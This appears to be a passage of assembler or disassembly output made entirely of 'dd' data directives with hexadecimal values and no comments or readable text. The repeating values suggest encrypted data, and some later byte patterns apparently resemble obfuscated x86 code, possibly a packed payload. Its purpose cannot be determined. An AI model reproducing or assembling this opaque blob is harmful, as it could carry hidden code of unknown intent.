		dd 0EAB1CD73h, 0CED75256h, 0DD0E21F7h, 3C8F8A0Fh, 2FBEF47Dh
		dd 57B13242h, 0ABBFBF59h, 0DC583256h, 2DB13256h, 0EACDA17Dh
		dd 94EC4A55h, 0D9BEEAA1h, 0AEB13259h, 57B138BFh, 47D7A156h
		dd 0F83C6DC3h, 69DC4768h, 79583096h, 76B13256h,	8E766EF6h
		dd 55E49A26h, 3713ECC8h, 0CA68B930h, 0B5B975DFh, 6D5C6CE8h
		dd 773F3D44h, 31B13256h, 1A3853A8h, 2FD7525Ah, 58491E96h
		dd 0ABB137D4h, 3E305456h, 12D08609h, 75B121BFh,	0D2801F56h
		dd 0C1B4BA73h, 0E418834Bh, 1D508933h, 0E9CA45FBh, 0DF58CE37h
		dd 0EFB13256h, 0C4E26FD1h, 25A7BD1h, 9E4DFB1Ah,	0A05867AEh
		dd 0C0B13256h, 0B673640Dh, 4676AE11h, 0D45DB30Eh, 805DB970h
		dd 534DF6D5h, 5DB1325Ah, 8D310CE8h, 61ADBBE1h, 13338AC7h
		dd 0DAD15236h, 0EAB132D1h, 14EE6256h, 0E2008C36h, 0BE3113F8h
		dd 46D053BBh, 57B13256h
		dd 0F75BB30Ch, 3CB71DE4h, 0EAB13247h, 0BCB53647h, 921F21FDh
		dd 0DD8E3477h, 0FEA6BD0Ch, 0ED3ACBA6h, 0AD9E476Dh, 0D5B134BFh
		dd 7E5A3756h, 46622148h, 8532C79Fh, 4E353D56h, 47B13253h
		dd 57B1325Eh, 67D0F51Ch, 0FF68DEBCh, 0EAB134BFh, 0BC9E7D56h
		dd 314D93CAh, 51353D51h, 0A1B13256h, 57B134D0h,	0AB343D56h
		dd 2AB13256h, 64BE3E23h, 75B1325Ah, 0BAB7B759h,	0DFBE3256h
		dd 0AEB13256h, 0BEB947A9h, 0ABB13258h, 55988491h, 0E734FA72h
		dd 3823C7ECh, 0EA4D0F7Ch, 5DB120BFh, 0A8204E56h, 75715479h
		dd 0BD1807C3h, 153E7FDFh, 2CAED23h, 75B13B3Eh, 0BAB0BE59h
		dd 56483256h, 83343D96h, 37B13256h, 6A07D0DCh, 29B6B937h
		dd 0EAB16CBFh, 6C313D56h, 53B13256h, 5DB13242h,	0CBF45924h
		dd 9E6990BAh, 0E4F0C671h, 4FA7FA29h, 0D99E6B8Bh, 15A5F5D5h
		dd 0BAB13EBFh, 97462D56h, 9D0CCAE7h, 0DE0ED5B2h, 0CA9A86C2h
		dd 2A4E1BBFh, 0F6303DA9h, 7AB13256h, 0BAB124D7h, 5DA0DB56h
		dd 35733256h, 1678986Eh, 85BBF1Ch, 9A1167C1h, 638FA332h
		dd 0FBBECE13h, 0BAB13247h, 5DB13EBFh, 0E9B74B56h, 23FE8229h
		dd 271933C8h, 0A04ECE2Eh, 0E758525Ah, 74B13256h, 7C8CD5D4h
		dd 5D40E9CFh, 7C3FE39Bh, 0AC5AB330h, 0DE4E531Dh, 3CD1CE5Eh
		dd 0EAB1325Ch, 703EDE0h, 3CAE4276h, 0D1BE9C15h,	0AEB13252h
		dd 9E9E8830h, 0CB86CD37h, 0B36B8559h, 1DD1E1D7h, 75BFDB37h
		dd 0A97B3256h, 0C7227B89h, 0B755F7Eh, 761BF2C8h, 0ABB941BEh
		dd 6AD15256h, 0BFA55387h, 1453F9D6h, 0BAB13ABFh, 4A212E56h
		dd 30779A3Dh, 0DFBE5375h, 0ABB1325Ah, 0D5B7BF59h, 6BBE3256h
		dd 75B13256h, 3EBEF25Dh, 5DB1327Bh, 0AEB139BFh,	57231456h
		dd 0A12620B2h, 31EA4F3Dh, 0EAB253BFh, 75A3DB56h, 0CBC33256h
		dd 0A9E6A979h, 0BBA3D0E7h, 6C3D0B02h, 0AA92F8EFh, 29F4B9AEh
		dd 0EAB122BFh, 6690ED56h, 0E3097CAAh, 371FD7EAh, 780F9DA1h
		dd 58B60B68h, 0ABB21BD4h, 0D5BBDB56h, 6B2C3256h, 36723829h
		dd 9B9D7EC3h, 0B44D77A9h, 0AEB13246h, 0FD690F0Fh, 0FCA3963Fh
		dd 39EDE5B3h, 310B011Dh, 75B54DD5h, 0BAFDB659h,	0DDBE3256h
		dd 0AEB13248h, 0BF918136h, 0ABB13242h, 5C9C34F9h, 0A36E219Ch
		dd 1899A8C5h, 7A2F9792h, 54113FCh, 25D1530Eh, 513E3DACh
		dd 0A4B13256h, 0D5B132DCh, 95325356h, 0F1BE325Ah, 0BAB13258h
		dd 5DDADBA3h, 15D13256h, 5F1A56D4h, 540953A3h, 0DA4ECDA9h
		dd 0EAB122DAh, 75BADB56h, 0DEBB3256h, 0FF4BD2F4h, 0A96096F0h
		dd 57B48B2Dh, 2BBE3256h, 0D5B1325Eh, 0EAB3B559h, 14D13256h
		dd 0AE5899A5h, 44B13256h, 72C7EBE6h, 7BC67A59h,	4680AAF4h
		dd 0E60F30D2h, 36F57E9h, 8A4ECC00h, 0BAB138BFh,	0DE7F1A56h
		dd 524E7ED8h, 37EAC26Ch, 54538C30h, 0C5CEB137h,	94353D53h
		dd 80B13256h, 0BAA9BB59h, 4E583256h, 0F1B13256h, 489A81EAh
		dd 6F36B4BDh, 18E2EBA1h, 475CA2A4h, 0A322B86h, 3FBE3446h
		dd 5DB132DDh, 0AEA4B059h, 47583256h, 0F5B13256h, 432FF1A1h
		dd 0C3EF120h, 0EAEA3CC0h, 0FB000A7Eh, 5DB13DBFh, 8BFD8E56h
		dd 0BDCAAD72h, 0DBB3BCD7h, 0EEF90117h, 0E5B575DDh, 75B120D4h
		dd 0BABCDB56h, 95FC3256h, 0FC19002h, 0EB28D3DEh, 2098B4F3h
		dd 3C483E09h, 0EAB133DBh, 71F6B9AAh, 0B6EEB9AAh, 5DB121BFh
		dd 0F90B8556h, 547013ABh, 0CAD96F6Ch, 6B2ACAF9h, 9245727Ch
		dd 75B067BFh, 0B63B3D56h, 52B13256h, 0AEB134DFh, 573E3D56h
		dd 20B13256h, 0DE583611h, 0BEB13256h, 0DD056BD6h, 0A5B3659Fh
		dd 23A8B2Eh, 0F18ACE5Ah, 0C8343D5Eh, 0A4B13256h, 0D5B133D0h
		dd 0E5E3CB56h, 75B13AD4h, 0B8353D56h, 3DB13256h, 0AAE6B937h
		dd 7CD0CE36h, 42D12203h, 0D5B13250h, 0B7F56D80h, 0A43BEF54h
		dd 0AEE43137h, 51EEB9AAh, 0AEB6BA59h, 0DABE3256h, 0ABB13257h
		dd 0B56B19AAh, 6DBEECDDh, 75B1325Ah, 0BAB135BFh, 7A916D56h
		dd 0EEDEF383h, 525AB137h, 0ABBDBA59h, 5FBE3256h, 0EAB13250h
		dd 75B1B159h, 53EB3256h, 5DB13250h, 0EFDB3A9Bh,	0D05823B3h
		dd 0A4B13256h, 0D5B12BDFh, 0EAA5DB56h, 0B46F3256h, 19C269F4h
		dd 0BAAEE5B8h, 9F0AA766h, 0BAC10CF8h, 0EC3A71DBh, 0D43D3D52h
		dd 12B13256h, 9CBD6DDDh, 0BAB13246h, 5841167Eh,	0CBEA6E22h
		dd 0EC6BA5F4h, 0A4D4D47Ah, 20B56D7Dh, 12B4D9D5h, 75B123BFh
		dd 0A85D8756h, 61766DD9h, 6C7D6BBEh, 0F1BF09BDh, 21B287CEh
		dd 0D39811ABh, 0EAADB759h, 7AD13256h, 0AB59CAE9h, 86B13256h
		dd 0DC1E097Ch, 0A739684Dh, 0B72FBB2Fh, 0A88D980Bh, 9532530Ch
		dd 0F0BE3146h, 0BAB13244h, 5DBBB659h, 0FCD13256h, 57363D0Fh
		dd 0CAB13256h, 0C9ACB17h, 0EAB13EBFh, 50816556h, 0C997EB16h
		dd 740401CAh, 0AFEDBB13h, 0EF44CB57h, 544ECDA9h, 0D5BBDB36h
		dd 0B15B3256h, 0FE2FAC6Dh, 9BA2E6EBh, 4E86507h,	0AEB48B37h
		dd 0DABE3256h, 0ABB13257h, 201AC1A3h, 154ACBBFh, 15D0CAA9h
		dd 0BAB13ABFh, 68800256h, 0D4205AFBh, 57BEDB5Ch, 86223256h
		dd 0D7B8C5A2h, 2736C787h, 6E943F28h, 0B57853B1h, 5DB137D9h
		dd 4F315256h, 4773531Ah, 0ABB8DB56h, 2BE23256h,	0FE62995Fh
		dd 20779542h, 6A305236h, 1F21E4AFh, 0CF40B930h,	57B4B059h
		dd 0DB0E3256h, 0B48ADE64h, 694DDEDDh, 1544CE92h, 0BAB1DAAFh
		dd 0DCEB3256h, 810920BCh, 57BFDB50h, 18973256h,	8CEAF223h
		dd 0F819C5DBh, 0C2AE9545h, 3ACEAAh, 5B9E476Dh, 0AEB9B259h
		dd 0D2BE3256h, 0ABB13254h, 1C825336h, 0BC0E5436h, 4A325350h
		dd 46353D56h, 3DB13255h, 0CE9DECD6h, 0F6B6D1D7h, 22BE1E89h
		dd 0D5B13256h, 0ED3A5337h, 75B120BFh, 7987BC56h, 5DA8CD99h
		dd 0C6D4CB33h, 6959D94Fh, 54206E5Ch, 5ED13E23h,	0E575B2A5h
		dd 0CABE5237h, 0BAA0DAAEh, 0A3483256h, 0EBCD5301h, 26B84636h
		dd 6F52F042h, 3C44E795h, 0EAB13258h, 0AE76A6A4h, 42BE3E41h
		dd 2AF45F2Dh, 0CFEBEE75h, 0BEB947A9h, 0ABB13247h, 8DA3057Bh
		dd 0ADB11930h, 1B6F005Fh, 0D3236BA0h, 0D4BE626Ah, 0AEB13257h
		dd 5427DAA3h, 23BE3256h, 0D5B1325Ch, 0EAB137BFh, 0A65FB556h
		dd 7ABA26FFh, 5DF8B759h, 25BE3256h, 57B13251h, 0ABB0B559h
		dd 20493256h, 64BE35DDh, 75B13246h, 0BAB139BFh,	0FFF56C56h
		dd 780B6656h, 9C32D344h, 0ABB162BFh, 0CD373D56h, 3B13256h
		dd 75B13245h, 82878748h, 629DF069h, 0FB8FBF80h,	600623E7h
		dd 288719EAh, 0DF582691h, 43B13256h, 6E277F90h,	274E0128h
		dd 0A345DBE5h, 20BECDA9h, 57B13243h, 0ABBEB959h, 0DF583256h
		dd 0BEB13256h, 477164AFh, 2F387C59h, 0A1F4BB9Ch, 0A2C4CDA3h
		dd 0DCD7C736h, 0DE4E539Eh, 54D1525Eh, 0E31DD78Dh, 8AD05357h
		dd 0AA585261h, 0C0B13256h, 221C2331h, 0EBF87C99h, 0AB7BB6A3h
		dd 0DAAC9DBAh, 0EAB136DDh, 29085456h, 0BF5853C7h, 6DB13256h
		dd 10366232h, 57B385BEh, 6BBACB56h, 0D5A9B659h,	3443256h
		dd 75B130D5h, 0BABDB659h, 0D1BE3256h, 0AEB13250h, 57B1BE59h
		dd 0EE3A3256h, 0D5B8DBAAh, 0EB3E3256h, 0FD389979h, 83FE9E0Fh
		dd 5333D51h, 47B13254h,	57B13247h, 0B39E4A83h, 848B8D94h
		dd 1DC710C5h, 4003FA3Dh, 0FF4EC736h, 2232CEAAh,	2ABE3252h
		dd 57B13269h, 0A7CEB1AAh, 0E1353D56h, 3B13256h,	75B13253h
		dd 491A5B0Dh, 5DC4DB97h, 0A5583256h, 23B13256h,	0F5EDBBA1h
		dd 0BEF1B514h, 0FA5833A5h, 12B13256h, 74EB3BE9h, 8EF9094Bh
		dd 0DEF4BE55h, 0EF74969Ch
		dd 544ECDA9h, 0D5B123BFh, 8475D256h, 0B2CD29AAh, 9D22F6E5h
		dd 110C81B8h, 0AB085282h, 0A2B13256h, 26BE99A5h, 0D5B13242h
		dd 0EABFBC59h, 7C583256h, 35B13256h, 0B1EA3747h, 80A3D76Eh
		dd 0A84FEABFh, 0A33E3DA9h, 0DAB13256h, 0EAB130D2h, 0F6D05256h
		dd 0B5B42229h, 5DB152D2h, 0D132CB56h, 0D2BE3446h, 0ABB132D2h
		dd 0D5B0B159h, 0AB4D3256h, 75B134BFh, 9D5B9B56h, 0D64B36C9h
		dd 0BD583611h, 23B13256h, 1643DA19h, 4F041823h,	7EB5C6Ch
		dd 888B9189h, 0E53A9430h, 0D6D7525Ah, 473054ADh, 0BED04754h
		dd 0ABB132EEh, 0D5B122BFh, 5B928856h, 9A175D21h, 8D868A9Ah
		dd 11D4A6Ah, 0AAF6B9C5h, 543B3D36h, 0A4B13256h,	5ED0E1E1h
		dd 0EF583E09h, 2EB13256h, 0CBB0CB6Fh, 5DC1DBAEh, 0A1D13256h
		dd 57B134DDh, 1A61B356h, 0B491F1AAh, 16B575DDh,	8DBD6DDDh
		dd 53B56D7Dh, 5DB13250h, 0FB585970h, 0BC32C1D4h, 4C305253h
		dd 8376169Ch, 8BC4D8D6h, 75BDDB36h, 26353256h, 81ED5504h
		dd 64FA23Bh, 0D6E18635h, 911B9FB4h, 56D06D45h, 0E5B22229h
		dd 75B12BD3h, 0FB4DC756h, 5DB123BFh, 651C6456h,	33C887D5h
		dd 9005D05Dh, 0A37E7617h, 339A606Ch, 75BBB559h,	0BF583256h
		dd 0F6B13256h, 0A34E111Eh, 56B06EDFh, 0D6025236h, 6FD75237h
		dd 8BD05737h, 8A4ECDEEh, 0B15952A9h, 0F4B13256h, 66681817h
		dd 279AC476h, 0BF5864E6h, 3AB13256h, 1BDF0169h,	0C83ED26Bh
		dd 3BE5CFE6h, 138D5F86h, 0F60D02AEh, 61E48C30h,	0ABB48B37h
		dd 5CBE3256h, 0EAB13251h, 75B0B259h, 0DA443256h, 81658930h
		dd 0A11AC137h, 57B125DCh, 0AE585256h, 8DB13256h, 0B075BE82h
		dd 75B134BFh, 0BDC10A56h, 3CB74186h, 514C0EBFh,	57A0DBA9h
		dd 5CCB3256h, 0EC44F969h, 0F587C055h, 5F25A55Ah, 0DB3F99E8h
		dd 5158FBA3h, 65B13256h, 1110B4BBh, 0C3A2DF10h,	17FF9D91h
		dd 0E358325Eh, 5B13256h, 0A9522DE5h, 0DA04FB50h, 25D75203h
		dd 523C3D91h, 0CDB13256h, 3EF8D1D7h, 8A5DB937h,	2BE96206h
		dd 0BAB134BEh, 0DD354956h, 0A1C3487Fh, 57B132D2h, 28D06856h
		dd 0C658CE92h, 0F7B13256h, 2CCAF60Dh, 2A8B2EBBh, 0AE113B33h
		dd 3C2BAF72h, 0ABD1653Ah, 0ABB0BD59h, 5E4D3256h, 0D1493A13h
		dd 0F7BE3E13h, 0BAB13216h, 4DF409AEh, 0AE87B559h, 58583256h
		dd 0DB13256h, 5995C6CAh, 0A406D062h, 40775317h,	0FF76104Ah
		dd 5DB132AAh, 0AF393D56h, 0A2B13256h, 0ABB179BFh, 87D15256h
		dd 67BE530Ch, 75B13255h, 0DB7BB930h, 5C4D7791h,	47B13256h
		dd 57B13258h, 49CDFA33h, 5F0D3AB9h, 24567F87h, 685804B6h
		dd 0B5B13256h, 5DB125DCh, 0AEA3DB56h, 0EE7E3256h, 0B63DA9E0h
		dd 8B1901F7h, 0D85A0920h, 3A28E02Eh, 53E65237h,	5DB1325Dh
		dd 4FDA8CBCh, 71DF7CCCh, 0F0EF51DCh, 29F4B937h,	0EAA6BE59h
		dd 67583256h, 90B13256h, 0BC172B5Bh, 0B81E2D19h, 942FD451h
		dd 5FF5EA61h, 0DF58FB5Ah, 0C4B13256h, 0D4B876CDh, 220160B1h
		dd 5DBDF0D9h, 0AEA9BF59h, 44583256h, 90B13256h,	0A92EFDB5h
		dd 0D3C9AD3Dh, 0D679B07Eh, 0B61A767Bh, 0A8E4EF95h, 475DB9AEh
		dd 57B1325Eh, 0AADD96C5h, 0F05B8538h, 8A4DF6D5h, 0BB30F8E5h
		dd 0F3F998B8h, 0A4D1C737h, 0AEB132BEh, 0BD306856h, 0AD9E8F8Fh
		dd 0C90552AEh, 3673D9D7h, 46D01E0Eh, 3CBE529Fh,	5DB13254h
		dd 0DA086800h, 36EE7639h, 0BA58E965h, 8BB13256h, 957B7F64h
		dd 0DD711E8Bh, 0EF8CF613h, 87000EE8h, 574D6FDFh, 57A2DA36h
		dd 0C6EB3256h, 0EDF68BB8h, 94D826E0h, 76CCD127h, 0D8A873C0h
		dd 0D6D06B4Dh, 81C409ECh, 56363D50h, 53B13256h,	0D5B138BFh
		dd 3584A956h, 7FAA306Dh, 39F92B61h, 0D9BE3269h,	0AEB130E0h
		dd 57BCB759h, 2AD13256h, 878AF5BCh, 830545Ch, 0F6D04CFEh
		dd 3FBECD69h, 5DB13216h, 0AEA6B559h, 58D13256h,	0ABB132DFh
		dd 0D5B8DA56h, 52703256h, 0D01AD904h, 0E20B7E0Dh, 4976B137h
		dd 5104DBA3h, 0D5BECDA9h, 0ABB13242h, 0D5BCDB36h, 1BF63256h
		dd 0CFA94582h, 0A92D6184h, 3CC292DFh, 0AEB54DD5h, 57EBB659h
		dd 0A4D13256h, 3C30F9E9h, 0C2446CD9h, 79CEB137h, 0FF353D56h
		dd 52B13256h, 0AEB125D9h, 57A3DB56h, 0BD533256h, 0D0A74F0Ah
		dd 858E094Ch, 7B3BC108h, 0A9341C51h, 5DB16CBFh,	0B3353D56h
		dd 58B13256h, 0ABB125D4h, 0D5A3DB56h, 0CEF33256h, 91002C54h
		dd 41BF5EBh, 9FD6CA7Dh,	0AECF2412h, 0BE4D77A9h,	0ABB13253h
		dd 4F7AAC08h, 0ED3E3D26h, 15B13256h, 9ED058EEh,	9A32537Ch
		dd 66305242h, 4F28032h,	0A758C737h, 0B54ECDA9h,	0EAB1B259h
		dd 7AE13256h, 0BAB132D0h, 0DED06A56h, 0A1B42229h, 57B142D2h
		dd 2844CE56h, 0DAB72229h, 0EAB181D3h, 75BADB56h, 0BA8E3256h
		dd 395FAC5Dh, 73B7650h,	0D1BE732Bh, 0ABB1325Ah,	0D5B7B259h
		dd 60BE3256h, 75B13256h, 0B5B575DDh, 5DB12ED9h,	22BE5256h
		dd 57B13256h, 0ABB13DBFh, 83ED3356h, 0E1D2BF5Bh, 0FC9893A5h
		dd 0C5AA2FB8h, 51EEB937h, 0AEB8DB36h, 245D3256h, 2E548F34h
		dd 0DA842A4Eh, 3D0F8E9h, 75B132A1h, 0BEF6B9AEh,	5DB13ABFh
		dd 0CA94BE56h, 43874BA1h, 0A7EEB9BFh, 0D5B8B459h, 8CD13256h
		dd 7A9659ECh, 0DAD0FAE1h, 52488D59h, 0AEB139DBh, 57B7DB56h
		dd 6E6B3256h, 0FDE9C636h, 0EA18DB37h, 0FCBE3256h, 0BAB1325Ah
		dd 5DB135BFh, 0DD14A156h, 8D5D0F13h, 0A4B575DDh, 0D5B120D8h
		dd 0EABCDB56h, 3BAE3256h, 0BA89D34Fh, 66A9DC5Ch, 25E20B73h
		dd 37D13E09h, 0A5DBDCD7h, 8DE13440h, 0EAA1DB37h, 983D3256h
		dd 84FB1A67h, 309F0D22h, 4FE3CC2Ch, 7CD0C115h, 42D13609h
		dd 0D5B1325Dh, 49159A3Fh, 0A540397Fh, 4623FB6Bh, 585AB137h
		dd 0A8393D36h, 58B13256h, 0ABB132D7h, 56D0CA56h, 0E5B22229h
		dd 75B114D3h, 0BD3F3D56h, 52B13256h, 0AEB133DEh, 0BEF0CB56h
		dd 0ABB13245h, 24295012h, 0C36B2FF1h, 312DE44Ah, 4551BF6Eh
		dd 76FFB576h, 0A63F3D8Fh, 58B13256h, 0ABB130D2h, 5CD05256h
		dd 3B0330Ah, 75B13250h,	0AA206C8Bh, 0A2093395h,	524ECDA9h
		dd 57B137EFh, 0ABBADB56h, 0FADE3256h, 4155C53Fh, 0B11EC3Ah
		dd 4F1AC13Ch, 0A24C68BFh, 0AEA5DBA9h, 0EF603256h, 253A6314h
		dd 900D0BF2h, 48872DF6h, 9E90F5DCh, 0DAD0AF46h,	0D6B0D2D6h
		dd 0EB3A5390h, 5878CEAAh, 0ABB133D8h, 3C72C756h, 0EAB1325Ch
		dd 0D51023Ah, 905AE1C6h, 0A8E151BDh, 0A0393D07h, 0BEB13256h
		dd 0ABB1325Fh, 74CD6FB0h, 600B128Ah, 0FFBE6199h, 0BAB1325Eh
		dd 0AE305436h, 0CF441068h, 57B132BEh, 41306856h, 0D39EF30Bh
		dd 0EAB126BFh, 499B1056h, 21E47AABh, 0CE0FD033h, 50A3A7D7h
		dd 65CDCAECh, 0A73B3DA5h, 0DAB13256h, 0EAB134D2h, 75373D56h
		dd 0DAB13256h, 81828C30h, 53C58A30h, 492BBF37h,	42B71D20h
		dd 0D5B13246h, 0D52D2D90h, 57053990h, 0B965DF17h, 51A32C9h
		dd 0AEB156EEh, 57B6DB56h, 0A8FD3256h, 6428BE01h, 0EF00DA3Bh
		dd 9CD13256h, 0BAB13245h, 67EF761Ch, 0CD0518BCh, 88B59036h
		dd 0B50444A6h, 0B5352794h, 5AB8D2D7h, 913105B5h, 31D0537Eh
		dd 5DBEDB5Dh, 92B03256h, 0CAD07454h, 0E79CE9A3h, 0C777D672h
		dd 137009E7h, 75BDB259h, 3DBE3256h, 5DB13250h, 0AEB1BE59h
		dd 0C3583256h, 0A4B13256h, 0D5B135DAh, 0EB3B3D56h, 80B13256h
		dd 0BEFA31AAh, 5DB138BFh, 0A3D43E56h, 46AF50CCh, 90795BF0h
		dd 55333D97h, 8AB13256h, 75B8DAAFh, 670F3256h, 0FE74DD83h
		dd 56D7128Eh, 1CB2530Fh
		dd 0AC303D46h, 0B5B13256h, 60B8EBD6h, 4E485398h, 9D333D97h
		dd 0B4B13256h, 0AEB1325Bh, 7B6EA2A2h, 4111381Ch, 0FE66682Eh
		dd 0EAACDB15h, 0F4BE3256h, 0BAB1325Ch, 5DB137BFh, 35D7BA56h
		dd 1D589A4Ah, 5EB13256h, 0D5B0BF59h, 3483256h, 75B1326Bh
		dd 0BAB0B359h, 0D0493256h, 9E8E13CCh, 844ECB50h, 5E7BB836h
		dd 0D592DB37h, 67493256h, 45F375CCh, 0BAA5DB50h, 0BF5C3256h
		dd 19056CE0h, 8B808BB6h, 23815646h, 0E7398E70h,	394EEB91h
		dd 675869AAh, 2B13256h,	0C3D5F408h, 775B3127h, 89F2C45Eh
		dd 0EAA684DBh, 5FBE6BDEh, 0EAB1325Ch, 75B137BFh, 7C6A8A56h
		dd 0A8E9AE49h, 25D75295h, 0BEE4538Ch, 0ABB1325Ah, 4C3F143Ch
		dd 0B62398C5h, 8709D3CFh, 524DDEDDh, 5DB13256h,	9A5BB30Ch
		dd 58B71D95h, 0ABB133DCh, 0D858CB56h, 7B13256h,	10D94363h
		dd 51E9FFC7h, 438781AFh, 0AF353D36h, 0AFB13256h, 0ABA0DB36h
		dd 0C4123256h, 0A2C027E7h, 9E3D3BEFh, 7D54B5CBh, 5265D694h
		dd 0AEB137D3h, 0B0305456h, 26D00405h, 0FAC72CECh, 0EAA5DB50h
		dd 1EFB3256h, 368E906Bh, 45568517h, 4845245Ch, 0DA81BD6Bh
		dd 0EE3A433Eh, 0D238CE5Eh, 0EAB9B459h, 0FFBE3256h, 0BAB13254h
		dd 183A5336h, 0BB313D5Ah, 0BEB13256h, 0ABB13246h, 0B9FAD556h
		dd 0BD5AAC28h, 0D8A72712h, 0E43028DDh, 52B575DFh, 0AEB13EDCh
		dd 57B6DB56h, 0D2833256h, 56E4920Dh, 0FAF4B989h, 75BABE59h
		dd 3AD13256h, 0DDBE9C8Ah, 0AEB13256h, 0E8BE5237h, 0AF393DA4h
		dd 0B3B13256h, 8BAF79EFh, 15BD75DFh, 2984DBD7h,	873029FBh
		dd 0BCC81878h, 43F4B937h, 0ABB134BFh, 0ADA32556h, 63E2E564h
		dd 61582211h, 87B13256h, 60B3CF28h, 0CC845665h,	88A0DBC9h
		dd 0D2DFD9F1h, 0B4FA6179h, 3785336h, 75B1325Ah,	4D898CEFh
		dd 785608BBh, 89E7547Bh, 0AFB12294h, 2E77C736h,	0D398290Fh
		dd 0F0D9CA11h, 9C192525h, 0BAB1325Ch, 654397E6h, 8E2FB76Dh
		dd 0E24EFDBAh, 0AD9828CFh, 0D5B0B859h, 67443256h, 59CAE0D3h
		dd 0BB3C3D50h, 0A1B13256h, 20BEE2A9h, 57B1325Eh, 0ABB3BF59h
		dd 0B4D13256h, 0EAB8DB04h, 8F013256h, 5E416F44h, 0A5262194h
		dd 0D925B8DBh, 0D0BE3479h, 0ABB13251h, 160E3D36h, 0E5D05336h
		dd 75B135D1h, 0BB303D56h, 0A5B13256h, 0BD313D07h, 0BEB13256h
		dd 0ABB13258h, 162E0E7Ah, 0DC571DD0h, 560ADDBDh, 6A4E6CD6h
		dd 5DB122BFh, 7C561356h, 50189628h, 3686DC95h, 0FA5034ADh
		dd 67BE68DDh, 75B13257h, 2E33BFAFh, 0B4B71D21h,	0AEB13244h
		dd 54EB0E2Fh, 771F4D93h, 33E52E51h, 475066CBh, 13D1C84Ah
		dd 988CC5D7h, 0EABE53AEh, 0CED13E16h, 57B1BC59h, 44313256h
		dd 6BD753ABh, 61D01C29h, 75BFDB8Eh, 75063256h, 0FC15C495h
		dd 5FEAEA22h, 0B42E2ED6h, 0ABBDB259h, 0D2583256h, 5DB13256h
		dd 1F14EAD8h, 53E35EEAh, 5DB13245h, 0CFF1EFDDh,	0F6F77041h
		dd 2AE2DFD0h, 0D73D5803h, 0E5FFA520h, 75B6DB67h, 0D6F13256h
		dd 58D6F34Bh, 2DBE6887h, 57B13244h, 0ABB8DB36h,	0D30A3256h
		dd 0EFC4F4F7h, 22909271h, 79B2530Ch, 453B3D36h,	47B13256h
		dd 57B13245h, 0E142AC80h, 0D10B80C1h, 0FEDAD161h, 82CC9D9Ah
		dd 3155084Eh, 0DF3853A5h, 0A898152Bh, 57A8B059h, 0BF583256h
		dd 43B13256h, 0B3376723h, 0B655FDD4h, 0C7CD8BE3h, 1B049CA0h
		dd 0CF560344h, 8578B336h, 0CD911FB6h, 0B45881ECh, 0EABADB95h
		dd 0E5983256h, 8E4B28ECh, 514E2EB6h, 0AEB4DBA1h, 7DCD3256h
		dd 517924E0h, 11E9h, 1942B000h,	0EC8CDCEDh, 0C776B29Bh
		dd 0D42F64DDh, 0F5523AC5h, 11E960h, 98D50000h, 336552BAh
		dd 910B89ACh, 1C1A4C3Bh, 0E9534EF9h, 6,	0CA10C71h, 0E86193F1h
		dd 0
		dd 60EA815Ah, 60062FC6h, 6E9h, 0CCF1EF00h, 66714B9Ah, 619EC6BBh
		dd 6E9h, 83CF7700h, 52F7FE99h, 5FF85360h, 15800Fh, 10E90000h
		dd 70000000h, 0E7344F70h, 0A4C3C54Fh, 9EFC431Ch, 61999119h
		dd 277D828Bh, 0FE90629h, 0F000000h, 0AA2D61B6h,	0F05199ECh
		dd 0C50CD5A8h, 0F6037A2h, 18Fh,	0DA81FC00h, 51E4A0B8h
		dd 4E6DB961h, 0E96041C6h, 0Fh, 0EF11191Eh, 796F3041h, 212FD7FEh
		dd 0E960B343h, 0Dh, 0CFAD9215h,	8C9BB6B9h, 0A833A11Dh
		dd 0E1F7615Eh, 18F0Fh, 5AF50000h, 303905F5h, 12E90000h
		dd 35000000h, 10568921h, 151AB71Eh, 759850Ch, 16F884B3h
		dd 0FFFF258Ah, 89F87FFFh, 29277D82h, 605AF806h,	810F51h
		dd 5E000000h, 0EFEA8166h, 6059617Eh, 4AB5BE52h,	0E95E115Bh
		dd 0Eh,	963092F6h, 0EEFFAEE0h, 0A4F279FBh, 0C361886Dh
		dd 0FE9h, 1D271800h, 9B74FA5Ah,	2BA6F3BAh, 6E0D71C0h, 6E9h
		dd 9F84E800h, 5166279Bh, 12E9h,	6AFAD800h, 978AD21Bh, 0EAA1C2F2h
		dd 0CB20936Fh, 52E862B4h, 0FE9h, 760A7800h, 695CC20Fh
		dd 0FD544916h, 0C7382E90h, 0CE9h, 0CF2FA500h, 0E1DB69ABh
		dd 0FE9CD06Ah, 0E81Ch, 815A0000h, 2FC7BEEAh, 0C8A0F06h
		dd 0F000000h, 68Bh, 880F00h, 0F9000000h, 5E9C88Bh, 67000000h
		dd 5FA5E7BAh, 0FFFE36E8h, 0BB6660FFh, 0C681BB2Dh, 205C1814h
		dd 0FD23361h, 787h, 1850F00h, 0F5000000h, 8BF9F1F7h, 0E95AFCC2h
		dd 11h,	0ED6F24F5h, 6E6F8FA2h, 26501D75h, 0ED392774h, 0C3F959FCh
		dd 0D9BE6660h, 0D981602Eh, 110D5EDDh, 61615A57h, 8060C08Bh
		dd 0B70FE7E9h, 0C08B61FAh, 0FB8B6660h, 0E9616060h, 0Fh
		dd 1C5D46B6h, 0C40FA8CAh, 6B8F7E3Fh, 616E8700h,	0ECBB6061h
		dd 6657E25Ah, 611ACBB9h, 8C98858Dh, 0FFFC062Fh,	0F840FD0h
		dd 0E9000000h, 0Ah, 0ED4F1F2Fh,	77F89B82h, 8B66BEDCh, 858DF9C1h
		dd 62FC61Fh, 98589F5h, 60062928h, 83ABBA66h, 0DE9h, 0A87EEE00h
		dd 0CA39EAE3h, 863837A3h, 8D618606h, 2FC77B85h,	0C840F06h
		dd 0F000000h, 684h, 820F00h, 89000000h,	2928D985h, 11810F06h
		dd 0E9000000h, 0Ch, 68F8D660h, 92ADE732h, 0F20BD415h, 0B8h
		dd 21B26000h, 0C00B61FCh, 145840Fh, 0E9FC0000h,	0Eh, 42F4D255h
		dd 5F5A7035h, 32FAD0B8h, 85C65B51h, 6291B59h, 0DF68F856h
		dd 0E9A9C530h, 0Eh, 0DFC42FD4h,	7236EFB0h, 90663FFCh, 0B5FF2FF1h
		dd 6291A99h, 0D2858DFCh, 0E9062C7Bh, 0Ah, 98529F45h, 523554C1h
		dd 0D0FF6626h, 108C0Fh,	0BE90000h, 0E4000000h, 58AF858h
		dd 8C175B06h, 60508AD9h, 60C28B66h, 0FE8EBB4h, 0D4000000h
		dd 98AC3406h, 0E40B160Bh, 0C35D777Fh, 61582F7Ch, 0EE961h
		dd 0A8E0000h, 0DBE7900Ch, 0AB99B6F7h, 50EEB2C3h, 33498D8Dh
		dd 51F90629h, 12E9h, 59B09900h,	7F148C04h, 0EF949A27h
